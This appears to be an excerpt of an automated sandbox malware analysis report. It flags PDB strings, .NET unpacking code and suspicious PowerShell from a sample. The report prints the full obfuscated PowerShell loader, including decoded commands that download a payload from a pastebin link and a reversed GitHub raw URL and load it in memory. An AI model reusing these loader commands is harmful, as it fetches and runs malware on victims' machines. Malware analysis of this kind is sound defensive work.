Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbG source: powershell.exe, 00000010.00000002.2788067216.0000022039820000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdb source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000009.00000002.2994896161.0000022AEA630000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 00000010.00000002.2788067216.00000220398BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbelse source: powershell.exe, 00000008.00000002.3145322082.000002646DCB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdbO$F e source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb1-F424491E3931}\InprocServer32 source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb* source: powershell.exe, 00000008.00000002.3145322082.000002646DCBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3145322082.000002646DCB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbQ source: powershell.exe, 00000010.00000002.2788067216.0000022039820000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb2]qd! source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb* source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tion.pdbe source: powershell.exe, 00000008.00000002.3140674589.000002646DA99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb\| source: powershell.exe, 00000008.00000002.3139827025.000002646DA70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbport (IPv6)-WFP Native MAC Layer LightWeight Filter-0000 source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: gement.Automation.pdb source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Messages.cs	.Net Code: Memory

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));"
